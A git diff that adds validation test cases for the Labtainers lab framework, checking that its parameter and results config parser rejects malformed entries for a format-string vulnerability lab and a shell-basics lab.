b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00011/labname new file mode 100644 index 000000000..d13324c1d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00011/labname @@ -0,0 +1 @@ +formatstring diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00011/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00011/parameter.config new file mode 100644 index 000000000..5d30454be --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00011/parameter.config @@ -0,0 +1,8 @@ +# parameter.config +# +# Please see ..../docs/parameter.config.format + +# The following are meant for format string vulnerability lab +#SECRET2 : RAND_REPLACE: /home/ubuntu/vul_prog.c : SECRET2_VALUE : 0x41 : 0x5a +SECRET2 : HASH_REPLACE: /home/ubuntu/vul_prog.c : SECRET2_VALUE : mystring : 50 : toomany + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00011/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00011/results.config new file mode 100644 index 000000000..ff66b2f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00011/results.config @@ -0,0 +1,11 @@ +# results.config +# +# Please see ..../docs/results.config.format + +crashStringCanary = vul_prog.stdout : 3 : STARTSWITH : *** stack smashing detected +crashStringSignal = vul_prog.stdout : 3 : STARTSWITH : program exit, +origsecret1value = vul_prog.stdout : 6 : STARTSWITH : The original secrets: +newsecret1value = vul_prog.stdout : 6 : STARTSWITH : The new secrets: +leaked_secret1 = vul_prog.stdout : LAST : NEXT_STARTSWITH : The original secrets: +input_lines = vul_prog.stdin : LINE_COUNT +aslr = checklocal.stdout : 3 : STARTSWITH : kernel.randomize_va_space diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00012/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00012/about.txt new file mode 100644 index 000000000..667d4d3b4 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00012/about.txt @@ -0,0 +1 @@ +Check parameter.config - HASH_REPLACE improper format - too few diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00012/expected.log b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00012/expected.log new file mode 100644 index 000000000..e510057d2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00012/expected.log @@ -0,0 +1 @@ +[2017-10-27 14:57:57,889 - ERROR : ParameterParser.py:232 - CheckHashReplac() ] HASH_REPLACE (/home/ubuntu/vul_prog.c : SECRET2_VALUE) improper format diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00012/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00012/goals.config new file mode 100644 index 000000000..e567d7dcb --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00012/goals.config @@ -0,0 +1,25 @@ +# goals.config +# +# Please see ..../docs/goals.config.format + +# The following are meant for format string vulnerability lab + +# whether the student crashed the program +_crash_smash = matchany : string_equal : crashStringCanary : answer=smashing +_crash_sig = matchany : string_equal : crashStringSignal : answer=segmentation +crash = boolean : ( _crash_smash or _crash_sig ) + +# was the secret2 value leaked? +_leaked_secret = matchany : string_end : leaked_secret1 : parameter_ascii.SECRET2 +# was the secret2 value modified? +modify_value = matchany : string_diff : newsecret1value : result.origsecret1value +# was the secret2 value modified to a specific value? +modify_specific = matchany : string_equal : newsecret1value : answer=0xa +# count stdin to determine if first scanf was disabled +_in_lines_2 = matchany : string_equal : input_lines : answer=2 +# was ASLR enabled? +_aslr_on = matchany : string_equal : aslr : answer=2 +# secret leaked with ASLR enabled? +leaked_secret = boolean : ( _aslr_on and _leaked_secret ) +# secret leaked with ASLR no scanf, and ASLR disabled? +leaked_no_scanf = boolean : ( (_in_lines_2 and _leaked_secret) and_not _aslr_on ) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00012/labname b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00012/labname new file mode 100644 index 000000000..d13324c1d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00012/labname @@ -0,0 +1 @@ +formatstring diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00012/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00012/parameter.config new file mode 100644 index 000000000..e21e627dc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00012/parameter.config @@ -0,0 +1,8 @@ +# parameter.config +# +# Please see ..../docs/parameter.config.format + +# The following are meant for format string vulnerability lab +#SECRET2 : RAND_REPLACE: /home/ubuntu/vul_prog.c : SECRET2_VALUE : 0x41 : 0x5a +SECRET2 : HASH_REPLACE: /home/ubuntu/vul_prog.c : SECRET2_VALUE + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00012/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00012/results.config new file mode 100644 index 000000000..ff66b2f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00012/results.config @@ -0,0 +1,11 @@ +# results.config +# +# Please see ..../docs/results.config.format + +crashStringCanary = vul_prog.stdout : 3 : STARTSWITH : *** stack smashing detected +crashStringSignal = vul_prog.stdout : 3 : STARTSWITH : program exit, +origsecret1value = vul_prog.stdout : 6 : STARTSWITH : The original secrets: +newsecret1value = vul_prog.stdout : 6 : STARTSWITH : The new secrets: +leaked_secret1 = vul_prog.stdout : LAST : NEXT_STARTSWITH : The original secrets: +input_lines = vul_prog.stdin : LINE_COUNT +aslr = checklocal.stdout : 3 : STARTSWITH : kernel.randomize_va_space diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00013/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00013/about.txt new file mode 100644 index 000000000..3d92a4cb1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00013/about.txt @@ -0,0 +1 @@ +Check parameter.config - HASH_REPLACE improper format - expected integer to specify length diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00013/expected.log b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00013/expected.log new file mode 100644 index 000000000..750f5c864 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00013/expected.log @@ -0,0 +1 @@ +[2017-10-27 14:58:55,774 - ERROR : ParameterParser.py:241 - CheckHashReplac() ] expected int for length, got what diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00013/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00013/goals.config new file mode 100644 index 000000000..e567d7dcb --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00013/goals.config @@ -0,0 +1,25 @@ +# goals.config +# +# Please see ..../docs/goals.config.format + +# The following are meant for format string vulnerability lab + +# whether the student crashed the program +_crash_smash = matchany : string_equal : crashStringCanary : answer=smashing +_crash_sig = matchany : string_equal : crashStringSignal : answer=segmentation +crash = boolean : ( _crash_smash or _crash_sig ) + +# was the secret2 value leaked? +_leaked_secret = matchany : string_end : leaked_secret1 : parameter_ascii.SECRET2 +# was the secret2 value modified? +modify_value = matchany : string_diff : newsecret1value : result.origsecret1value +# was the secret2 value modified to a specific value? +modify_specific = matchany : string_equal : newsecret1value : answer=0xa +# count stdin to determine if first scanf was disabled +_in_lines_2 = matchany : string_equal : input_lines : answer=2 +# was ASLR enabled? +_aslr_on = matchany : string_equal : aslr : answer=2 +# secret leaked with ASLR enabled? +leaked_secret = boolean : ( _aslr_on and _leaked_secret ) +# secret leaked with ASLR no scanf, and ASLR disabled? +leaked_no_scanf = boolean : ( (_in_lines_2 and _leaked_secret) and_not _aslr_on ) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00013/labname b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00013/labname new file mode 100644 index 000000000..d13324c1d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00013/labname @@ -0,0 +1 @@ +formatstring diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00013/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00013/parameter.config new file mode 100644 index 000000000..2357d5b1e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00013/parameter.config @@ -0,0 +1,8 @@ +# parameter.config +# +# Please see ..../docs/parameter.config.format + +# The following are meant for format string vulnerability lab +#SECRET2 : RAND_REPLACE: /home/ubuntu/vul_prog.c : SECRET2_VALUE : 0x41 : 0x5a +SECRET2 : HASH_REPLACE: /home/ubuntu/vul_prog.c : SECRET2_VALUE : teststring : what + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00013/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00013/results.config new file mode 100644 index 000000000..ff66b2f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00013/results.config @@ -0,0 +1,11 @@ +# results.config +# +# Please see ..../docs/results.config.format + +crashStringCanary = vul_prog.stdout : 3 : STARTSWITH : *** stack smashing detected +crashStringSignal = vul_prog.stdout : 3 : STARTSWITH : program exit, +origsecret1value = vul_prog.stdout : 6 : STARTSWITH : The original secrets: +newsecret1value = vul_prog.stdout : 6 : STARTSWITH : The new secrets: +leaked_secret1 = vul_prog.stdout : LAST : NEXT_STARTSWITH : The original secrets: +input_lines = vul_prog.stdin : LINE_COUNT +aslr = checklocal.stdout : 3 : STARTSWITH : kernel.randomize_va_space diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00001/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00001/about.txt new file mode 100644 index 000000000..af055bd30 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00001/about.txt @@ -0,0 +1 @@ +Check results.config - results missing the '=' character diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00001/expected.log b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00001/expected.log new file mode 100644 index 000000000..366599dd1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00001/expected.log @@ -0,0 +1 @@ +[2017-10-24 16:57:49,829 - ERROR : ResultParser.py:593 - ParseValidateRe() ] missing "=" character in crashStringCanary vul_prog.stdout : 3 : STARTSWITH : *** stack smashing detected diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00001/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00001/goals.config new file mode 100644 index 000000000..e567d7dcb --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00001/goals.config @@ -0,0 +1,25 @@ +# goals.config +# +# Please see ..../docs/goals.config.format + +# The following are meant for format string vulnerability lab + +# whether the student crashed the program +_crash_smash = matchany : string_equal : crashStringCanary : answer=smashing +_crash_sig = matchany : string_equal : crashStringSignal : answer=segmentation +crash = boolean : ( _crash_smash or _crash_sig ) + +# was the secret2 value leaked? +_leaked_secret = matchany : string_end : leaked_secret1 : parameter_ascii.SECRET2 +# was the secret2 value modified? +modify_value = matchany : string_diff : newsecret1value : result.origsecret1value +# was the secret2 value modified to a specific value? +modify_specific = matchany : string_equal : newsecret1value : answer=0xa +# count stdin to determine if first scanf was disabled +_in_lines_2 = matchany : string_equal : input_lines : answer=2 +# was ASLR enabled? +_aslr_on = matchany : string_equal : aslr : answer=2 +# secret leaked with ASLR enabled? +leaked_secret = boolean : ( _aslr_on and _leaked_secret ) +# secret leaked with ASLR no scanf, and ASLR disabled? +leaked_no_scanf = boolean : ( (_in_lines_2 and _leaked_secret) and_not _aslr_on ) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00001/labname b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00001/labname new file mode 100644 index 000000000..d13324c1d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00001/labname @@ -0,0 +1 @@ +formatstring diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00001/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00001/parameter.config new file mode 100644 index 000000000..51938da9d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00001/parameter.config @@ -0,0 +1,7 @@ +# parameter.config +# +# Please see ..../docs/parameter.config.format + +# The following are meant for format string vulnerability lab +SECRET2 : RAND_REPLACE: /home/ubuntu/vul_prog.c : SECRET2_VALUE : 0x41 : 0x5a + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00001/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00001/results.config new file mode 100644 index 000000000..defec0490 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00001/results.config @@ -0,0 +1,11 @@ +# results.config +# +# Please see ..../docs/results.config.format + +crashStringCanary vul_prog.stdout : 3 : STARTSWITH : *** stack smashing detected +crashStringSignal = vul_prog.stdout : 3 : STARTSWITH : program exit, +origsecret1value = vul_prog.stdout : 6 : STARTSWITH : The original secrets: +newsecret1value = vul_prog.stdout : 6 : STARTSWITH : The new secrets: +leaked_secret1 = vul_prog.stdout : LAST : NEXT_STARTSWITH : The original secrets: +input_lines = vul_prog.stdin : LINE_COUNT +aslr = checklocal.stdout : 3 : STARTSWITH : kernel.randomize_va_space diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00002/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00002/about.txt new file mode 100644 index 000000000..05dec32a7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00002/about.txt @@ -0,0 +1 @@ +Check results.config - invalid token ID diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00002/expected.log b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00002/expected.log new file mode 100644 index 000000000..60bf7b5f0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00002/expected.log @@ -0,0 +1 @@ +[2017-10-24 17:01:36,495 - ERROR : ResultParser.py:78 - ValidateTokenId() ] results.config has invalid token_id diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00002/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00002/goals.config new file mode 100644 index 000000000..f68dbd1e6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00002/goals.config @@ -0,0 +1,25 @@ +# goals.config +# +# created by interns, not a good example reference +_did_mkdir_one = matchany : string_equal : mkdir_check : answer=MyFolder +_did_touch_one = matchany : string_equal : touch_check : answer=tester.txt +_did_pwd_one = matchany : string_equal : pwd_check : answer=/home/ubuntu/MyFolder +did_task_a = count_greater : 2 : (_did_mkdir_one, _did_touch_one, _did_pwd_one) +_did_date_one = is_true : did_date +_did_date_ap = matchacross : string_equal : date_out : result.cat_txt_date +did_task_b = count_greater : 1 : (_did_date_one, _did_date_ap) +_did_ls_one = matchany : string_equal : list_check : answer=MyFolder +_did_mv_one = matchany : string_start : mv_check : answer=tester.txt +did_task_c = count_greater : 1 : (_did_mv_one, _did_ls_one) +_did_cp_one = matchany : string_equal : cp_check : answer=tester.txt ../MyFolder/ +_did_cp_two = matchany : string_equal : cp_ls_check : answer=tester.txt +did_task_d = count_greater : 1 : (_did_cp_one, _did_cp_two) +_did_cal = matchany : integer_greater : cal_check : answer=5 +_did_append = matchacross : string_equal : cal_cont_check : result.cat_cal_check +did_task_e = count_greater : 1 : (_did_cal, _did_append) +_did_more = matchany : string_equal : more_check : answer=readthis.txt +_did_less = matchany : string_equal : less_check : answer=readthis.txt +_did_rm = matchany : string_equal : rm_check : answer=readthis.txt +did_task_f = count_greater : 2 : (_did_more, _did_less, _did_rm) +own_work = matchany : string_equal : student_watermark : parameter.secret_value + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00002/labname b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00002/labname new file mode 100644 index 000000000..6a63dab2a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00002/labname @@ -0,0 +1 @@ +shellbasics diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00002/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00002/parameter.config new file mode 100644 index 000000000..16f548299 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00002/parameter.config @@ -0,0 +1,5 @@ +# parameter.config +# +# Please see ..../docs/parameter.config.format +# +secret_value : RAND_REPLACE : RunMe.py : SECRET_VALUE : 0x41 : 0x5a diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00002/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00002/results.config new file mode 100644 index 000000000..bfa9a459e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00002/results.config @@ -0,0 +1,20 @@ +# results.config +# +# created by interns, not a good example reference +mkdir_check = mkdir.stdin : PARENS : 1 : STARTSWITH : PROGRAM_ARGUMENTS +touch_check = touch.stdin : PARENS : 1 : STARTSWITH : PROGRAM_ARGUMENTS +pwd_check = pwd.stdout : SLASH : XXX : HAVESTRING : home +did_date = date.stdout : CONTAINS : UTC +date_out = date.stdout : TOKEN : ALL : HAVESTRING : UTC +cat_txt_date = cat.stdout : TOKEN : ALL : HAVESTRING : UTC +list_check = ls.stdout : TOKEN : 1 : HAVESTRING : NewFolder +mv_check = mv.stdin : PARENS : 1 : STARTSWITH : PROGRAM_ARGUMENTS +cp_check = cp.stdin : PARENS : 1 : STARTSWITH : PROGRAM_ARGUMENTS +cp_ls_check = ls.stdout : TOKEN : 1 : HAVESTRING : tester.txt +cal_check = cal.stdout : LINE_COUNT +cal_cont_check = cal.stdout : ALL : HAVESTRING : su +cat_cal_check = cat.stdout : TOKEN : ALL : HAVESTRING : su +more_check = more.stdin : PARENS : 1 : STARTSWITH : PROGRAM_ARGUMENTS +less_check = less.stdin : PARENS : 1 : STARTSWITH : PROGRAM_ARGUMENTS +rm_check = rm.stdin : PARENS : 1 : STARTSWITH : PROGRAM_ARGUMENTS +student_watermark = RunMe.py.stdout : 5 : STARTSWITH : Your secret value is diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00003/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00003/about.txt new file mode 100644 index 000000000..05dec32a7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00003/about.txt @@ -0,0 +1 @@ +Check results.config - invalid token ID diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00003/expected.log b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00003/expected.log new file mode 100644 index 000000000..b10b06cd9 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00003/expected.log @@ -0,0 +1 @@ +[2017-10-24 17:02:58,066 - ERROR : ResultParser.py:78 - ValidateTokenId() ] results.config has invalid token_id diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00003/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00003/goals.config new file mode 100644 index 000000000..f68dbd1e6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00003/goals.config @@ -0,0 +1,25 @@ +# goals.config +# +# created by interns, not a good example reference +_did_mkdir_one = matchany : string_equal : mkdir_check : answer=MyFolder +_did_touch_one = matchany : string_equal : touch_check : answer=tester.txt +_did_pwd_one = matchany : string_equal : pwd_check : answer=/home/ubuntu/MyFolder +did_task_a = count_greater : 2 : (_did_mkdir_one, _did_touch_one, _did_pwd_one) +_did_date_one = is_true : did_date +_did_date_ap = matchacross : string_equal : date_out : result.cat_txt_date +did_task_b = count_greater : 1 : (_did_date_one, _did_date_ap) +_did_ls_one = matchany : string_equal : list_check : answer=MyFolder +_did_mv_one = matchany : string_start : mv_check : answer=tester.txt +did_task_c = count_greater : 1 : (_did_mv_one, _did_ls_one) +_did_cp_one = matchany : string_equal : cp_check : answer=tester.txt ../MyFolder/ +_did_cp_two = matchany : string_equal : cp_ls_check : answer=tester.txt +did_task_d = count_greater : 1 : (_did_cp_one, _did_cp_two) +_did_cal = matchany : integer_greater : cal_check : answer=5 +_did_append = matchacross : string_equal : cal_cont_check : result.cat_cal_check +did_task_e = count_greater : 1 : (_did_cal, _did_append) +_did_more = matchany : string_equal : more_check : answer=readthis.txt +_did_less = matchany : string_equal : less_check : answer=readthis.txt +_did_rm = matchany : string_equal : rm_check : answer=readthis.txt +did_task_f = count_greater : 2 : (_did_more, _did_less, _did_rm) +own_work = matchany : string_equal : student_watermark : parameter.secret_value + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00003/labname b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00003/labname new file mode 100644 index 000000000..6a63dab2a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00003/labname @@ -0,0 +1 @@ +shellbasics diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00003/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00003/parameter.config new file mode 100644 index 000000000..16f548299 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00003/parameter.config @@ -0,0 +1,5 @@ +# parameter.config +# +# Please see ..../docs/parameter.config.format +# +secret_value : RAND_REPLACE : RunMe.py : SECRET_VALUE : 0x41 : 0x5a diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00003/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00003/results.config new file mode 100644 index 000000000..167089136 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00003/results.config @@ -0,0 +1,20 @@ +# results.config +# +# created by interns, not a good example reference +mkdir_check = mkdir.stdin : PARENS : 1 : STARTSWITH : PROGRAM_ARGUMENTS +touch_check = touch.stdin : PARENS : 1 : STARTSWITH : PROGRAM_ARGUMENTS +pwd_check = pwd.stdout : SLASH : ALL : HAVESTRING : home +did_date = date.stdout : CONTAINS : UTC +date_out = date.stdout : TOKEN : ALL : HAVESTRING : UTC +cat_txt_date = cat.stdout : TOKEN : ALL : HAVESTRING : UTC +list_check = ls.stdout : TOKEN : 1 : HAVESTRING : NewFolder +mv_check = mv.stdin : PARENS : 1 : STARTSWITH : PROGRAM_ARGUMENTS +cp_check = cp.stdin : PARENS : 1 : STARTSWITH : PROGRAM_ARGUMENTS +cp_ls_check = ls.stdout : TOKEN : 1 : HAVESTRING : tester.txt +cal_check = cal.stdout : LINE_COUNT +cal_cont_check = cal.stdout : ALL : HAVESTRING : su +cat_cal_check = cat.stdout : TOKEN : ALL : HAVESTRING : su +more_check = more.stdin : PARENS : XXXX : STARTSWITH : PROGRAM_ARGUMENTS +less_check = less.stdin : PARENS : 1 : STARTSWITH : PROGRAM_ARGUMENTS +rm_check = rm.stdin : PARENS : 1 : STARTSWITH : PROGRAM_ARGUMENTS +student_watermark = RunMe.py.stdout : 5 : STARTSWITH : Your secret value is diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00004/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00004/about.txt new file mode 100644 index 000000000..b5ec1a291 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00004/about.txt @@ -0,0 +1 @@ +Check results.config - invalid character in results key (has the '@' character) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00004/expected.log b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00004/expected.log new file mode 100644 index 000000000..d8d005f87 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00004/expected.log @@ -0,0 +1 @@ +[2017-10-24 17:05:22,167 - ERROR : ResultParser.py:95 - ValidateConfigf() ] Not allowed characters in results.config's key (mkd@ir_check) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00004/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00004/goals.config new file mode 100644 index 000000000..f68dbd1e6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00004/goals.config @@ -0,0 +1,25 @@ +# goals.config +# +# created by interns, not a good example reference +_did_mkdir_one = matchany : string_equal : mkdir_check : answer=MyFolder +_did_touch_one = matchany : string_equal : touch_check : answer=tester.txt +_did_pwd_one = matchany : string_equal : pwd_check : answer=/home/ubuntu/MyFolder +did_task_a = count_greater : 2 : (_did_mkdir_one, _did_touch_one, _did_pwd_one) +_did_date_one = is_true : did_date +_did_date_ap = matchacross : string_equal : date_out : result.cat_txt_date +did_task_b = count_greater : 1 : (_did_date_one, _did_date_ap) +_did_ls_one = matchany : string_equal : list_check : answer=MyFolder +_did_mv_one = matchany : string_start : mv_check : answer=tester.txt +did_task_c = count_greater : 1 : (_did_mv_one, _did_ls_one) +_did_cp_one = matchany : string_equal : cp_check : answer=tester.txt ../MyFolder/ +_did_cp_two = matchany : string_equal : cp_ls_check : answer=tester.txt +did_task_d = count_greater : 1 : (_did_cp_one, _did_cp_two) +_did_cal = matchany : integer_greater : cal_check : answer=5 +_did_append = matchacross : string_equal : cal_cont_check : result.cat_cal_check +did_task_e = count_greater : 1 : (_did_cal, _did_append) +_did_more = matchany : string_equal : more_check : answer=readthis.txt +_did_less = matchany : string_equal : less_check : answer=readthis.txt +_did_rm = matchany : string_equal : rm_check : answer=readthis.txt +did_task_f = count_greater : 2 : (_did_more, _did_less, _did_rm) +own_work = matchany : string_equal : student_watermark : parameter.secret_value + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00004/labname b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00004/labname new file mode 100644 index 000000000..6a63dab2a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00004/labname @@ -0,0 +1 @@ +shellbasics diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00004/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00004/parameter.config new file mode 100644 index 000000000..16f548299 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00004/parameter.config @@ -0,0 +1,5 @@ +# parameter.config +# +# Please see ..../docs/parameter.config.format +# +secret_value : RAND_REPLACE : RunMe.py : SECRET_VALUE : 0x41 : 0x5a diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00004/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00004/results.config new file mode 100644 index 000000000..8a737a553 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00004/results.config @@ -0,0 +1,20 @@ +# results.config +# +# created by interns, not a good example reference +mkd@ir_check = mkdir.stdin : PARENS : 1 : STARTSWITH : PROGRAM_ARGUMENTS +touch_check = touch.stdin : PARENS : 1 : STARTSWITH : PROGRAM_ARGUMENTS +pwd_check = pwd.stdout : SLASH : ALL : HAVESTRING : home +did_date = date.stdout : CONTAINS : UTC +date_out = date.stdout : TOKEN : ALL : HAVESTRING : UTC +cat_txt_date = cat.stdout : TOKEN : ALL : HAVESTRING : UTC +list_check = ls.stdout : TOKEN : 1 : HAVESTRING : NewFolder +mv_check = mv.stdin : PARENS : 1 : STARTSWITH : PROGRAM_ARGUMENTS +cp_check = cp.stdin : PARENS : 1 : STARTSWITH : PROGRAM_ARGUMENTS +cp_ls_check = ls.stdout : TOKEN : 1 : HAVESTRING : tester.txt +cal_check = cal.stdout : LINE_COUNT +cal_cont_check = cal.stdout : ALL : HAVESTRING : su +cat_cal_check = cat.stdout : TOKEN : ALL : HAVESTRING : su +more_check = more.stdin : PARENS : 1 : STARTSWITH : PROGRAM_ARGUMENTS +less_check = less.stdin : PARENS : 1 : STARTSWITH : PROGRAM_ARGUMENTS +rm_check = rm.stdin : PARENS : 1 : 